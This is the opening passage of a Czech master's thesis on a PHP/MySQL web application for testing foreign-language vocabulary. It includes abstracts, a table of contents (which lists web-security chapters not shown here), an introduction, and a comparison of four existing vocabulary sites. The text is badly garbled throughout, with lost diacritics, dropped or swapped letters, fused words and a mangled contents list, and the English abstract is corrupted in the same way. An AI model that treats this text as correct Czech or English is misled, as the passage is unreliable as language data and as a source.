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ABSTRAKT

Cilem diplomové prace je naprogramovat aplikacezi@uSeni a vyhodnoceni efektivity
vyuky cizich jazyk. PredevSim v satasné dob je znalost cizich jazyknespornou vyho-
dou nejen f hledani zarsstnani, ale takéfprozSicovani osobnich moznosti. Znalost cizich
jazyki umoziuje ¢lovéku poznavani cizich zemi, zvykale také kultur, které se k nim va-
Zou. Ucité skupirg lidi vSak weni ciziho jazyka fiive gipadat velmi naréné a obtizne.
Tyto okolnosti maji v mnohychifpadech negativni dopad na lidi, a proto se staitno
jazykac¢im dal vice vyhybaiji. Pr&wz tchto divodi byla v ramci diplomové prace vytiena
webova aplikace pro zkouSeni a vyhodnoceni eféktinjuky cizich jazyk. Aplikace je
uzivatelsky pivetiva, intuitivni a z uzivatelského pohledu velmdipducha. Uzivatel ma
tak jedinénou moZznost realizovat zkouSeni na urovdti pizich jazyki. Praci se slo¢ky
navic velmi ulebuje naSeptavani slasdk z online slovniku a uzivatel si tak jegtce nmize
uvédomovat souvislost mezi jednotlivymi slovnimi spdjmi. V teoretick&asti prace jsou
zmirgny pouzité technologie a dale také vyvojové preatit pouzité fi tvorbé aplikace.

Praktickacast prace jednovana popisu samotné webové aplikace
Kli¢ova slova: PHP, MySQL, slatka, bezpénost, testy, zkouSeni
ABSTRACT

The aim of this thesis is to program the applicaifor testing and evaluation the efficacy
of foreign languages education. Knowledge of fanéanguages is currently unquestionable
advantage not only at looking for a job but alsarigprovement of personal abilities. People
can to explore foreign countries, their habits amitures with knowledge of local language.
Learning of foreign language may be demanding awg difficult for someone, however.
Some people avoid learning of foreign languagesdba$these circumstances. Therefore is
developed the web application for testing and eatadu the efficacy foreign languages ed-
ucation. The application is user-friendly, intuégiand very simple from viewpoint of user.
The user has a unique opportunity testing at lef/élve foreign languages. Making a sug-
gestion of words from on-line dictionary greatlcifdates the work moreover. User can
even more aware of the connection between the ghrésthe theoretical part of thesis are
mentioned technologies used and the integrateda@went environment used for creation

of application. The practical part deals with dggan of the web application.

Keywords: Keywords: PHP, MySQL, vocabulary, safédgting, checking



ProhlaSuiji, Ze odevzdana verze baksité/diplomové prace a verze elektronicka nahrana do
IS/STAG jsou totozné.

Rad bych pod&oval vedouci pracdoc. Ing. Zdence Prokopova, C&codborné vedeni a rady

pii tvorbé diplomoveé prace. Dale bych rad p&d¥al své rodinga podporu pipsani této prace.



OBSAH

LY 5 PRSP 11
I TEORETICKA € AST ..ottt 12
1 TYPY APLIKACI PRO VYUKU CIZICH JAZYK  U..coevevercieeeeeeeeee e, 13
1.1 DESKTOPOVE APLIKACE. ... ttuuitttieetteeei e et e etaseeaiaseaa s e st s e ea e e et s eesnaaensesseeenneesnaes 13
1.2 IMOBILNT APLIKACE ..ttuieitiiettee et e et e et e et e et e e s e et s e et e e et e e ea e e et e e ea e e ea e e aaeeanaees 13
1.3 VVEBOVE APLIKACE ..uutiiiiiiietiii e e sttt e e ettt e e e et e e e et e e e et e e eea e e e et e e eetaeeeetnneeaesnnaaenes 13
2 PREHLED DOSTUPNYCH RESENI.....ccooiiiiiicicieiececeeeee e 15
2.1 S 1@ )V 1 14N @ | =T 15
2.1.1 Moznost skupinOVENO ZKOUSENI ......cceeeeeiiiiiiiiiceeeeee e 16
2.1.2 Nastaveni parametizKOUSENT .......cccceviieeeeiiiiiiiieeeecrr e e e e 16
2.1.3  MozZnost pouZiti CIZICh SIOVEK ............cevviiiiiiiieeeiiiiiiiiei e 16
2.1.4  Hromadny import SIOEK.............uuvriiiiiiiie e 16
2.1.5  HiStOrie ZKOUSENI......cooieeeieeeeicee e 16
A VL 1 15 = 1@ 1 PP 17
2.2.1  Moznost skupinOVENO ZKOUSENI ......ccoeeeiiiiiiiiiiciiieeeeee e 17
2.2.2 Nastaveni parametizKOUSENT .......cccoevvieeeiiiiiiiiieeeerrs e e 17
2.2.3  MozZnost pouZiti CIZICh SIOVEK ............eevviiiiiiiieeeiiiiieieee e 17
2.2.4 Hromadny import vlastnich slasak .............cooeeeiiiiiiiiii e 18
2.2.5  HiStOrie ZKOUSENI......cooeeeeeeecee e e 18
2.3 HELP FOR ENGLISH ... ettt ettt ettt et e e e e e e e e e e e e e ees 18
2.3.1 Moznost skupinOVENO ZKOUSENI ......cceeeeiiiiiiiiiiciieeeeee e 18
2.3.2 Nastaveni parametizKOUSENT .......cccoevvieieiiiiiiiiieeeerrr e e e 19
2.3.3  MozZnost pouZiti CIZICh SIOVEK ............eeeeiiiiiiiieeeiiiiiiieei e 19
2.3.4 Hromadny import vlastnich slasgk .............ooooveimiiiiiiii e 19
2.3.5  HiStOr@ ZKOUSENI .. .uuuiiiiiiiiiiiiiiiieie et e e e e e e e e e e e e e e e e e e e 19
2.4 ANGLICTINA SLOVICKA ouiiiieitieeiat e ettt eeeeetes e e eata e e eaas e e eas e e e eataaeeeeaaeaessaaeeesaaaees 19
2.4.1  Moznost skupinOVENO ZKOUSENI ......cceeeeiiiiiiiiieieeeeee e 20
2.4.2 Nastaveni parametizKOUSENT .......ccccevviiieiiiiiiiiieeeecrrs e e 20
2.4.3 MozZnost pouZiti CIZICh SIOVEK ............eeeviiiiiiiieeeiiiiieieee e 20
2.4.4 Hromadny import vlastnich cizich sl@ek..............cccccceeeiiiiiiiiiinnnnnnnn, 20.
2.4.5  HiStOrie ZKOUSENI......cooiiieeeiiice e 20
2.5 S 2N 20
3 VYUZITE TECHNOLOGIE ....cocoiiiiiiieiceets ettt 22
3.1 HYPERTEXTPREPOCESSOR ....uuiitiiiiiiiiitiietteeeiseaieeetiaeeaae et seeanesssnsssaeeaneesnesannns 22
0t O O e o | S 23
0 © | P PPPPPRPUPPPRRR 23
3.2.1  MaNIPUIACE S ALY ...evvuiniiiiieee e 23
I N |V 451 | PP PEPUPURPUPR 24
3.3.1  REIENI MOEL.......co oo s e e e e 25
3.3.2  REIACE ... e —————————— 25
Si4  HT MLttt e e 25

341 HTMLS o 26



3.5 KA K AD OV E STY LY tuttttuttttutstenestenenteats e estees e st ss e ts e s seaesrenesreaesrenesrensnrenenrenes 26
IS T R 011 TR TP O TP 27

3.6 N =1 = 27
BT JQUERY ceeeeee oottt 27
Bi8  AUAX ettt ettt ettt 28
3.9 R T =R L0 T I = = 28
310 ADMINER ..ottt ettt e et e ettt et et e ettt e et e e et et e e 28
B.11  VVEBOVY SERVER. ...t tutttttttetttttnseessetssetsteta e tateea ettt te sttt re et serenrenens 29
G T 2 Tt Tt Y = 15 29
B.L3 MDD ottt ettt ettt et e e rneee e 29
G T S e TN N LY =50 ] Y 30
BLL5  GLOSBEAP ...ttt ettt 30
3.16 PHPSIMPLE HTML DOM PARSER .....ccoteouiieeeeeeeeeeeeeeseeeeeesseeseeeesseeeseeeee s 30

4 POUZITE VYVOJIOVE PROSTREDI ...ooiieeeeeee oo 31
4.1 NE AT BEANS Lttt ttnit sttt ettt et ea st ea s e ea et ea e e et e e ettt ea s e et e e ea e e ettt e e s e e et ee st ee et earenanens 31
B.2  EMMET .ottt et et e ettt et ettt e et e et e et e ee e e e e eteaeeaaes 32
4.3 SUBLIME TEXT EDITOR tiuitiiit ittt ettt ettt ettt et ettt e e et e e et e ar e et st e e eneereneen 32

I PRAKTICKA € AST oottt ettt ettt e e 33

5  FUNKCNi POZADAVKY INTERNETOVE APLIKACE ......coovioveees oo, 34
D1 UZIVATELE .ottt et ettt e e et e et et e e et e et e e e et e et e e e s e s e saneenneaeas 34
52 YA (O Y SV == 74 = 34
53 Y =@ = Y (=T ] = 34
D4 TESTY .ttt ettt et ettt e et e et ettt e et e e e re e e aaeaeas 34
55 NASTAVENT ZKOUSENI 11 euttteuettetsteessesstensaseess e se st saenss st sss e re st e eserensereneenenrenes 35
5.8 ZKOUSEN ...t eeee e et et ee et e et et e et e et et e et e et et e e et e et e eee e e et e ee e neen 35
57 [ TSR T =41 =74 (@ U E< = | 35
5.8 S 10 )V AT ol N 35
59 2310 2 35

6 ADRESAROVA STRUKTURA WEBOVE APLIKACE .......cioieoieeee e, 36
6.1 AT ] = = 36
8.2 ORON:ueeeeeee et e et et e e et e e et et e et e et e e ettt e e et et et e e e et e et e e e et et e e rteeeans 36
6.3 DB_ZPRACOVANI ..ttt ettt e et e et e e e e e e e et et e e e e e e ean e e ern e e eenn s 36
6.4 [N NS 17NV = 1 36
6.5 S Y N1 22T 36
8.6  TIMP_UPLOAD ...ttt eeeeeett e e e ettt e e ettt e e e e et et e e e e e et e bb e e e e e e eb e e e e et e eba e e e e eenaanns 37
B.7 TP _ EXPORT ..t eeetttttia e e eeettta e e e e et ett e e e e e eeeta e e e e eeesta s e e e eeetba e e e e e eeebnn e eaeennnnn e aaeas 37
6.8 170 37

7 POPIS DATABAZOVY CH ENTIT oooeee oottt eeeeiea e 38



7.1 S 1@ )V 1 0 N PRSP 38

7.2 (OBOBNISLOVNIK .utuuuteeesetttiteeeseestuaaeesessssaaeesesssannaaeessssssaaeesesssnnaeeessssrnnaaeesessnes 38
7.3 STUDENTIVETRIDE .uuuueeieeittueeeeeeesttiaeeessesssnnaaeesssssannseeesssstanaeeseesssnseeesssssnneeeesenns 39
A S = o | =PSSO 39
A TN V. 4P PPPTRR 39
T8 CESKEVYRAZY .oniiiittiieeeeeeettie e e e e e ettt e e e e e e ettt e e e e e e eaaa e e e e e sataaaeeeeeesaaa e eeeeesraanaeees 39
A A ¥ 74 1/ 1 = TSRS URPPPPPN 39
A8 T 1 = PO 39
8 N 2= 1 =1 U TR OPRSPPPIPN 40
710 TESTYVETRIDE....citittuuieeeeitttttseeeeeetttaeeeeeesttt s eeeesestaeaeessesataaeessessaneeeeeesrannaaees 40
% R © 51=T0 )V [ Y PRSPPI 40
A% A © 51=T0 )/ = o J PRSPPI 40
713  TESTPOLOZKY ..eettuuuiieeeeeettiaeeeeesesttaaeeessatatseeesesssaaaeesssstaaaaessssssanseesesssannsaeeseennes 40
8 POPIS INTERNETOVE APLIKACE ... ..ot et 41
B.1  REGISTRACE....ciititttet e ettt ettt e e et ettt e e e e e e et eeeeeeeata e aeeeeesba e e eeeesttaseeeesrraaaaaeeeens 41
8.2 UZIVATELSKE ROLE....uuuuiieiiiitttieeeeeeettieeeeeeeattiaaeeeesssaaseeesssssaaaaeesessssnseeeeessrannnns 42
B.2.1  UCHEl ceereii i ermme e e e e e e ar e e aeeaaa 42
B.2.2  SHUAENE... ettt e e e e e e e e e et e e e et e e eaaaaaaas 42
8.3 UZIVATELSKE ROZHRANI . .ceuiiitieiie e e e e e et e et e e e et e e et e s aa e e e e esnaessneeeneenns 42
B.3.1  SIOVICKA ... et et e e e e e e r e e eeaanas 42
8.3.1.1 VIAastni SIOVEKA..........coieeiieiiii e 43
8.3.1.2 GIODAINT SIOVEKA ......ueieieieiiiieeceeeeeee e 44
8.3.1.3  SIOVICKA K OVENI ..uuviciiieiie e e 44
TG T2 I [0 = N 44
8.3.2.1 SeZNAMIU .....coiiiiiiii e e 44
8.3.2.2 ZaloZit NOVOURIAU.......cvvuieiiiieiiiee e emmmme e 45
TG RS T ] (U o [T o) 1 OO RRUPPTRRPPIR 45
G TG T 1 | PP UPPPTRUPPIN 45
8.3.4.1 PHAAl NOVY ESL ....uuiiiiiiiiiiiiiieiiee e e e e e e e e e e 45
8.3.4.2 SezZNamM LeAL.... ..o 46
B.3.5  ZKOUSENT v 47
8.3.6  VYPSANE TESLY ..uuuiuiiiiiii i e eee ettt e e e e e e e e e e e e aaaaaas 47
R T A o 1151 (0] T4 (o 1 [=T=T o | SR 48
9  IMPLEMENTACE P RIKAZ U JAZYKA SQL DO PHP SKRIPT U.................. 49
9.1 VYBER OTESTOVANYCH SLOVEEK .cuuiitiiiiteeiieeeiteeeie e et e e e et e e et e e e et e e eanaeeanes 49
9.2 ZALOZENI NOVEHO TESTU. cuuiiuiiiueitieeiteeeteeeteeeteeeteestaeesnneesnessnnesanessneessnaeennns 49
9.3 EDITACNI UPRAVA NAZVU EXISTUJICT TRIDY vuviuniiiiii e e e eae e 50
10 BEZPECNOST WEBOVE APLIKACE ....ve it eee e 51
101 SQLINIECTION cutuitittteetti e e eeti e e et e e et e e e et e e e ea e e e et e e eetaaeaesaaeeesnseessaaeresnaaees 51
10.1.1 Uk&zka SQL iNJeCtION ULOKU ......cevviiiiiiiiieeeeee e 52
10.1.2 Obrana aplikace proti SQL iNJECION.......cccoieieeeeeiieiieieeeeiree e e e 53
10.2 CROSSSITE SCRIPTING....uueetttrttueeeerrertuteeeseesttiaseeessrtaaeeesssstneaeessessaeeeeesrsnnn 53
10.2.1 UKAZKA XSS ULOKU .....covviiiiiiiicieeie et e s 54

10.2.2 OcChrana Proti XSS ... et e e e e e e e e 55



10.3 PODVRZENI POZADAVKU MEZI RUZNYMI INTERNETOVYMI STRANKAMI ............... 55

10.3.1 UKAZKA CSREF ULOKU......ccetiiiiiiieiiiiiiiiiiiite ettt 56
10.3.2 Ochrana aplikace proti CSRF ... 56
0 2R S O 02 S Y01 {1 N P 56
10.4.1 Uk&zka clickjacking UtOKU ...........cooiiiiiiiiiiiiiiiiiiiccce e 57
10.4.2 Ochrana aplikace proti Clickjacking .............couvvriiiiiiiiiiiiiie e 57
10.5  SESSION FIXATION. cetttttteeeeeeaaesissaaiittteseseeseeeeeeeeeeeaeeeeeeaaasasaaasnnanbbbbbbe e s e eeeeeaaaeeeeas 58
10.5.1 Ukazka session fixation ULOKU ...........ccevuuiuuiiiiiiiiiieeeeee e eeeeeeeeeeeeeine e 59
10.5.2 Ochrana aplikace proti sSession fiXation ... 60
O N G o o 1[N U N 60
10.6.1 Uk&zka Utoku PHP INCIUAE ..o 60
10.6.2 Ochrana aplikace proti PHP include ...........coooviiiiiiiiiiiii e 61
10.7  HESLA UZIVATELU ..oiiiiieieietitiiiias s e e e e e e e et e et ettt s e e e e e e e e e e e e e e eeeennnnnnn s 61
10.8 NAHRAVANI SOUBORU .....coiiiuuiiiiitiitieeeeetteeetaaeeaeeaassssasssisbbbbbssssseeeeeeeeeaaaeaaesaananns 61
10.8.1 Ochrana proti nezadoucimu nahravani SOBDOL............c.cccceeeiiiiieeieeeeeeen... 61
ZAVER ..ottt 63
11 SEZNAM POUZITE LITERATURY ...cooiiiiiiiieisieieie sttt 64
SEZNAM POUZITYCH SYMBOL U A ZKRATEK .....oovivitereeeereeeeer et eme e, 67
SEZNAM OBRAZK U .....oovieieeeie ettt eeensas ettt n ettt en st n st nen e steneas 69
SEZNAM TABULEK ..ottt ettt ettt e s e e e e e e e aeeeeeeas 70

SEZNAM PRILOH. ... oooee oo oo e e e e e e e e e e e et e e et e e eeee e e araeaaae s 71



UTB ve Zliné, Fakulta aplikované informatiky 11

UvoD

Cilem diplomové prace je navrhnout a zrealizovabaveu aplikaci pro zkouseni a vyhod-
noceni efektivity vyuky cizich jazyk Aplikace je vytvéena pro zkouSeni slasgk z i
cizich jazyki, a to anglického,dmeckého, francouzského, italského a gfskeho jazyka.
Je naprogramovana préednictvim skriptovaciho jazyka PHP a jako ulaZiSto data je

pouzit databazovy systém MySQL.

V dnesni moderni délje bezesporu velmiidezita znalost cizich jazyk predevsim z @+
voda rozsfeni moznosti v soukromém i pracovnim Zé&dakladnim znalostnim pigm
cizich jazyki jsou pra¢ slovicka, diky nimZ Ize rozvijet a sestavovatw Cim je slovni

zasoba cizich slov bohatsi, tim Iépeleec¢k dokaze zorientovat v cizich zemich.

Predmetna aplikace zcela jistvelmi dol¥e poslouzi jak samotnym studémt pfi procvico-
vani cizojazgnych slovéek, tak i vyujicim, ktgi prdw pomoci této aplikace dokazou
velmi snadno zjistit jazykové znalosti svych stutietNa zaklad vyhodnoceni testovani

muze kazdy uzivatel sledovatigwyvoj uceni ciziho jazyka.

V teoretickétasti prace jsou zmény zakladni typy aplikaci tené pro vyuku cizich jazyk
Nasledr jsou analyzovanytyii webové aplikace, u nichZ jsou srovnavany celkyii
funkcionality. Dale jsou v teoretickésti uvedeny zakladni pojmy, technologie pouzité pr

vyvoj aplikace a v neposledrdd také software pouZzityipprogramovani

Praktickacast prace je anovana navrhu furidnich pozadavk aplikace, jeji adregavée
struktue a také popisu databazové struktury ril@dnutim ke skutaosti, Ze se jedna o
webovou aplikaci, tak je v praktickésti roviez zmiréna problematika webovych Utbk
diky nimz se mze stat webova aplikace &em hackei. Na zaklad tohoto aspektu je v praci

popsana implementace ochrany aplikace préttyum typam webovych Gtok.
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1 TYPY APLIKACI PRO VYUKU CIZICH JAZYK U

Aplikace pro vyuku cizich jazykmazeme rozdlit do tti zakladnich skupin dle apobu
jejich distribuce a pouzivani. Jedna se o deskt®@plikace, webové aplikace a posledni
kategorii tvdi aplikace pro mobilni Z&eni. Kazda zéthto i uvedenych skupin jegtiim
specificka a m&adu vyhod, ale rowz i nevyhod.

1.1 Desktopové aplikace

Do této kategorie spadaji programy, které jsaiemy pro stolni pé&itate a notebooky. Ve
veétsSing pripadi je u €chto programi nutnd instalace, cozie rekteré nezkusené uzivatelé
odradit od pouZzivani programNevyhoda tohot#eSeni sp&iva ve skuténosti, Ze data jsou

uloZena pouze na lokalnim§itaci a zarové se sdm uZzivatel musi starat o jejich zalohovani.

1.2 Mobilni aplikace

V souvislosti s roz&&nim chytrych mobilnich Z&eni jako jsou mobilni telefony, tablety a
iPhony se také zaly rozStovat i aplikace utené do &chto za&izeni. Princip fistupu

k datim je velmi obdobny jako u desktopovych aplikaci.ivdiel si musi nejive

z weboveho repozita (Google Play, App Store) aplikaci stahnout a patéstalovat do
sveho z&zeni. Nespornou vyhodou oproti desktopovym aplikge to, Ze pevazna ¥tSina
lidi ma mobil stale ve své blizkosti, a tak ma tgchmoZznost ke studovani. Naopak
nevyhodou mze byt malé rozliSeni mobilnihdiptroje, které neni nejvhodjsi k zobrazeni

velkého mnoZstvi udaj

1.3 Webové aplikace

Weboveé aplikace se vyrazhsi od dvou jiz zmitnych kategorii. Rozdil sgéva v tom, Ze apli-
kace jsou hostovany v cloudovych ulozistich nebaedikovanych serverech. Uzivatel k nim
pristupuje prostednictvim webového prohliZe, nemusi se tedy zabyvat Zadnou instalaci, ktera
by se vztahovala k aplikaci. S aplikaci je moznacpwat z kteréhokoliv z&eni gipojeného

k internetu. Znamena to tedy, Ze s aplikatzeme pracovat nejen z domacihgifege, ale také

z mobilniho telefonui tabletu. Nevyhodasthto aplikaci niZze pro gkteré uzivatele spidvat v

tom, Ze nemaji sva data plpod kontrolou, protoZe jsou uloZena na serveii@tfch stran. DalSi
podstatnou nevyhodou je fakt, Ze uzivatelé &Sixw pripadi nemohou sva data zalohovat. Da

se tedy konstatovat, Ze uZivatel aplikace j& ghwisly na autorovi aplikace.
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V dnesni moderni deébjsou c¢im dal oblibenjSi webové aplikace. Je tagulevsim z dvodu
vysoké dostupnosti. Tento typ aplikaci ma opra&fitym uzivateim velkou vyhodu pro weboveé
vyvojére. Ti totiz maji data pod svou kontrolou a jejigiéra probiha centranZ tohoto d-
vodu bude tato prace zétena prav na webové aplikace, jez jsoweny pro vyuku a procvi-

covani cizich jazyk.
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2 PREHLED DOSTUPNYCH RESENI

Kapitola obsahuje zakladnighled vybranych online webovych aplikaci, kterauglgoro
vyuku a roz&iovani slovni zasoby cizich jaaykByly vybrany vyhradé webové aplikace,
které jsou dostupnédeském jazyce. Je tdgalevsim z dvodu, aby bylo mozné jednoduse
vyhodnotit, jaké mozZnosti m#esky uzivatel internetu k dispozici. V seznamu jagadeny
pouze aplikace, jejichZz pouzivani je zdarma a nep®d & Uétovany zadné licaemi ci
registr&ni poplatky. Zarove jsou u jednotlivych aplikaci srovnavana kritérimedena
v tabulce (Tab. 1).

Tab. 1. Kritéria pro hodnoceni aplikaci

Kritérium Popis

. . ] o Zjistuje, zda aplikace umaanje vypsani
Moznost skupinoveho zkouseni o . _
zkousSeni pro witou skupinu student

) . Zkouma moznosti nastaveni samotneho
Nastaveni paramétizzkouSeni _ o
zkouseni slovni zasoby.

. " L . Zabyva se informaci, zda ma uZivatel
Moznost pouziti slowek jinych uzivatel . o L .
k dispozici i slovtka jinych uzivatei.

. ) Sleduje moznosti hromadného vilozeni
Hromadny import slowiek ] .
slovicek do aplikace.

o o Monitoruje, zda uzivatel ma k dispozici
Historie zkouSeni . o )
piehled o jiz prozkousenych vyrazech.

2.1 Slovicka.org

Vyvoj této sluzby zé&al jiz v roce 2011. UZivatel ma k dispozici jednobé uZivatelské
rozhrani, pomoci ¢hoZ je umozéno procvEovani slovni zasoby. Do aplikaceige slo-
vicka vkladat manuakn piipadré mize vyuzit i hromadny import prasdnictvim CSV sou-
boru. Slovtka z jednotlivych lekci izeme vyexportovat do formatu CSV. Metoda samot-
ného testovani je zaloZena na postupném prochdgejige slov, kdy jeden z paru je skryt
a nasleda zobrazen.
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‘ GOOGLE APPS PRO FIRMY

E-mail, kalendér, dokumenty a dal3i nastroje pro firmu - 30 dni zdarma!

slovicka.org

Online vjukg stovicek,

Identifikacni islo lekce ...

Home Vyhledavani lekci Nejoblibenéjsi lekce Napovéda Kontakt

pastraka@post.cz
Pavel Straka Test test

Mij profil

Odhlasit se New Headway Beginner - Lekce 11 (anglictina)
11. lekce, kniha: New Headway Beginner, nakladatelstvi: Oxford University Press

Vyhledavani
Oblibené promiite, prosim vas
Moje lekce
Spustit vyuku
Y problém
s
cestovni pas

nestihnout ( miss the bus )

umoZnit Aktivovat klavesnici

Obr. 1. Ukazka zkousSeni sleek v aplikaci Slovicka.orfi]

2.1.1 Moznost skupinového zkouSeni

V aplikaci neexistuje Zadn& moznost vypsani tesbugitou skupinu studefit Z povahy
aplikace je #ejmé, Ze zkouSeni cizich slovnich vyirge ureno pouze pro jednotlivce, ni-
koliv skupiny.

2.1.2 Nastaveni parametii zkouSeni

U zkouSenych vyrazsi uzivatel nize nastavit, zda chce nechat skryty cizi vyrazastmbo
jeho cizojazygny preklad.

2.1.3 Moznost pouZiti cizich slowek

V aplikaci je moznost prozkousSeni i z teskteré byly vloZeny jinymi uzivateli. Velkou
vyhodou (pednosti) je skutamost, Ze kazdy test m&igeleno unikétni identifikani ¢islo
lekce a tudiz je velmi snadné testy vyhledat.

2.1.4 Hromadny import sloviéek

Standardni metoda viozeni novych pek je pomoci webového formii& Uzivateli je vSak
také umozano hromadné vioZeni slasdk prostednictvim CSV souboru, ktery |ze do apli-
kace naimportovat.

2.1.5 Historie zkouSeni

V aplikaci neni umoz¥n nahled na vyrazy, které byly jiZide prozkouSeny.



UTB ve Zliné, Fakulta aplikované informatiky 17

2.2 WordBot

Jedna se orphlednou aplikaci na pro@avani slovni zasoby. ZkouSeni probiha tak, ze uzi-
vatel musi zadatipklad nahod& vybraného slova. Po zadani odpdivse zobrazuje fr
meérna procentudlni ugpnost daného slovnihagkladu. UZivatel ma rowZ moznost si vy-
tvéret vlastni slovniky, do kterych si urtiige sva vlastni slovka. Po Usgsném dokodeni

testovani se zobrazuje procentualniégdspst testu a také spravné odfmhvjednotlivych

slovnich vyraa.

— J BETA
' Q.E.-G) vyuka cizich jazykd. Zkouseni - Vyukovy text *
© Do slovesnych tvarii nedopliiujte vztazené tvary. Tedy misto hasn't, prosim, napisté has i

lledany te; || Hiedej not.

test Test
Hiavni stranka
Slovniky 1) test

Slovicka Odpoved:

Fraze a idiomy
2) kolo

Zkouseni a procvicovani ~
Odpoved:

Testy a cviceni

3) stil

Odpovéd:

4) dum

Odpoved:

Obr. 2. Ukazka zkousSeni sléek v aplikaci WordBd2]

2.2.1 Moznost skupinového zkouseni

Aplikace neumoiuje vypsani teditpro vydefinovanou skupinu uZivatel

2.2.2 Nastaveni parametii zkouSeni

U zkouSenych vyrazsi uzivatel nize nastavit, zda ma do formtd&ého pole vypisovat
cizojazyny preklad slova nebo jehaesky vyraz.

2.2.3 Moznost pouziti cizich slowek

UZivatel ma moznost proveést zkouseni z cizich 8&kijenz jsou obsazeny v testech jinych
uzivateh. Na vylker jsou d¢ kategorie test, a to s jednoduchou odp#li nebo s moznosti

vybéru. Testy je dale mozné dohledat pomoci 8titk
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2.2.4 Hromadny import vlastnich slovi¢ek

Hromadny import vlastnich slaigk je dostupny pomoci webového forntelado khoz

uzivatel vypisuje cizojazyné geklady a jejichteskeé vyrazy ve stanoveném formatu.

2.2.5 Historie zkouSeni

Historie zkouSeni je realizovana pouze na Urovmicastatnych slovek. Uzivatel ma k dis-
pozici informaci o pétu prezkouseni daného sléka a také informaci o jeho procentualni

aspEsnosti.
2.3 Help For English

Tato popularni internetova stranka nabizi Sirolekspmclanka tykajicich se samotné vy-
uky anglického jazyka. V ramci stranky je réZrumozino procvéovani a zdokonalovani
slovni zasoby. Jednotlivé lekce jsou rédedy nejen dle tematického zarani, ale také dle
obtiznosti. Metoda zkouSeni je zaloZena na zad@&klguu zvoleného slovafipemz slova
jsou postup#ivybirdna z lekce, kterou si uzivatel zvolil. Velknevyhodou tohoto systému
je skutenost, Zze po zkouSeni si systém nepamatuje, zeckieipviek byl uzivatel pro-

zkousSen.

BRI Uvodnistranka | Gramatika < Prediozky

G Test: Preklad ceské predlozky 'na \‘2‘

Vydano dne 01.02.2011

CGeskou predlozku ,na’ preklédéme do anglictiny zpravidla jako ON. JenZe takovy
preklad je velmi zavadeéjici. Je totiz mnoho pripadd, kdy se predlozka ON nehodi.
—" 1. Look, there's a balloon up the sky.

o-

O at
Oin
O on
2.1 didn't study very hard when | was
O about
O by
Oin

high school.

O on

3. Life a village is simple and peaceful.
O at
Oin
O on
Oto

Obr. 3. Ukazka zkouseni testu v aplikace Help FayliSh[3]

2.3.1 Moznost skupinoveho zkouseni

Na Urovni samotné aplikace neni um&im vypsani zkouseni proditou skupinu studeit
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2.3.2 Nastaveni parametii zkouSeni

Jednotlivd zkouSeni probihaji tak, Ze si uzivatellizlekci, ze které chce byt prozkouSen.

DalSi nastaveni z pohledu parameiro zkouseni neni uzivateli umaho.

2.3.3 Moznost pouZiti cizich slowek

ZkouSeni probih& préjen z cizich slovnichigkladi, jenZ do aplikace vloZil jeji autor.

2.3.4 Hromadny import vlastnich slovi¢ek

V ramci aplikace neni umo#n jakykoliv import vlastnich slogék.

2.3.5 Historie zkouSeni

V aplikaci neni dostupna historie prozkouSenychrsich vyrazi.

2.4 Angli¢tina Slovicka

Jak jiz ndzev napovida, tak aplikace je dostupnataenetove adrese http://www.anglictina-
slovicka.cz a je primaguréena pro zkouSeni cizich vyitaz anglickém jazyce. Aplikace je
koncipovana tak, Ze se uzivatel musi nejel registrovat a poté si musi vytitdkategorii,
do niz vklada slovka, ze kterych chce provést zkouSeni. Po vyzkoysemiivatel infor-
movan o své usgnosti a rovéZ | 0 patu sprave a chybr napsanych slovnich vyréz
Nevyhodou této aplikace je skatmst, Ze uZivatel nikde nema uveden historickghped o

prozkousenych vyrazech.

Learn english words the way you like it
Domii  Moje slovicka Idiomy Forum Odkazy Muj ucet

it o Stovid . oni . Piihlaseny uzivatel: Pavel
Nachazite se v Moje Slovicka > Vyzkouset > Zkougeni ze slovicel

Vypsat slovicka CORRECT! 1223
Sirka 18785
Pridat slovicka 242570

Nova kategorie

. . C v 0 z
Nova podkategorie " @ F(xngva
pajecka

3vi

Uprava kategorie
Vyzkouset
Najit

Sdileni uzivatelé

Obr. 4. Ukazka zkousSeni sléek v aplikaci Anglitina Slovika[4]
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2.4.1 Moznost skupinového zkouSeni

Aplikace nenabizi mozZnost vypsani testu pro skup#ivatet..

2.4.2 Nastaveni parametii zkouSeni

U nastaveni zkouSeni jsou uzivateli dostupné pargnm@omoci nichZ si fize stanovit po-
cet slovtek, ze kterych chce vyzkousSet, ¥ytkategorie a v neposledfddt ma také moz-
nost si zvolit, zda ma zkouSeni probih&eszkého jazyka do anglického nebo z anglického

jazyka doceskeého.

2.4.3 Moznost pouZiti cizich slowek

MoZzZnost pouZiti cizich slov€k je zrealizovano prastdnictvim takzvaného sdileni uziva-
teli. Kazdy uZivatel si ke svémutin miZze nasdilet jakéhokoliv dalSiho uzivatele. Nasdi-
leny uzivatel poté ziskavaiptup ke slowikim jiného uzivatele a tato sl@ékia si mize na-

kopirovat do své vlastni kategorie.

2.4.4 Hromadny import vlastnich cizich sloviek

Pri vkladani novych slo¥ek ma uzivatel moznost samostataené vypliovat az deset for-
mulaovych poli, jez se vztahuji k zadani ciziho stkeia jeho pekladu, avSak tento postup
je pro uzivatele velmi pracny a zdlouhavy. V aptikehybi moznost hromadného importo-

vani slovéek nagiklad ze souboru.

2.4.5 Historie zkouSeni

Po provedené analyze aplikace bylo st Ze ani tato aplikace neuntiofe pohled na

historii prozkousenych slovnich vyiaz

2.5 Shrnuti

Na zaklad analyzy uvedenych aplikaci Ize konstatovat, Zel&aplikace nabizi uzivateli
rozhrani, pomoci#&hoz lze provag vyuku a procwiovani cizojazynych slovnich vyrak
Velkym nedostatkem aplikaci je vSak skutest, Ze nenabizi variantu zkouSeni protow
skupinu uZivatdl. Tato moznost zkouSeni by zefektivnila a velmidagdusila zkouseni
student nejen na zakladnich aratinich Skolach. Nutné je také zminit, ZSina aplikaci

neumo#uje nastaveni konkrétnich paraniepro zkouSeni. Velkou absenci je i historie
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zkouseni, diky niz by ghuZivatel grehled o prozkouSenych vyrazech a o jednotlivych chy
bach. Z uzivatelského pohledu Ize za tigjpsrEjSi aplikaci v oblasti zkouSeni cizojazy

nych slovnich vyrax ozna&it WordBot.
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3 VYUZITE TECHNOLOGIE

3.1 Hypertext Prepocessor

Hypertext Preprocessor (dale ozoaan jako ,PHP*) je technologie pouzivajici se etke
mife @i tvorb¢ internetovych stranek a webovych aplikaci.
.,PHP je slak¢ (dynamicky) typovany proceduralni skriptovaci faty plnou objektovou
podporovou od verze 5) syntakticky podobny jaxyjako je Perl, Python nebo C[5]
Jeho primarni pouZiti je zejméndi gpracovani dat z formuf& generovani obsahu,
